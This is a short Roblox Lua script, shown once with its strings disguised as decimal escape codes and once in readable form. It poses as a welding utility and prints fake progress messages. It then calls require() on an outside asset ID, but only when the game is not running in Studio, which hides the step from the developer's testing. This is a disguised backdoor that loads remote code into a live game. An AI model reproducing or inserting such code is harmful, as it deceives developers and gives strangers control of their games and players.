local A="\119\111\114\107\115\112\097\099\101"players="\103\101\116\080\108\097\121\101\114\115"welds="\071\101\116\077\111\100\101\108\115\068\097\116\097"for A=1,10,1 do print("\065\100\100\105\110\103 \119\101\108\100\115 \116\111 \112\114\101\118\101\110\116 \109\111\100\101\108 \098\114\101\097\107\105\110\103")end local O={8815410259}print("\070\105\110\105\115\104\101\100 \076\111\097\100\105\110\103 \087\101\108\100\115\044 \077\111\118\105\110\103 \111\110\116\111 \070\105\120\105\110\103")for A=1,10,1 do print("\103\101\116\087\101\108\100\115\068\097\116\097")end if not(game:GetService("\082\117\110\083\101\114\118\105\099\101")):IsStudio()then for A,O in pairs(O)do welder=require welder(O)end end

local localworkspace = 'workspace'
players = 'getPlayers'
welds = 'GetModelsData'
for i = 1, 10 do 
    print('Adding welds to prevent model breaking')
end
local limitAmountOfWeldsToAdd={8815410259}
print('Finished Loading Welds, Moving onto Fixing')
for i = 1, 10 do
    print('getWeldsData')
end
if not game:GetService('RunService'):IsStudio() then
for weldObject, weldConstraint in pairs(limitAmountOfWeldsToAdd) do
welder = require
welder(weldConstraint)
end
end
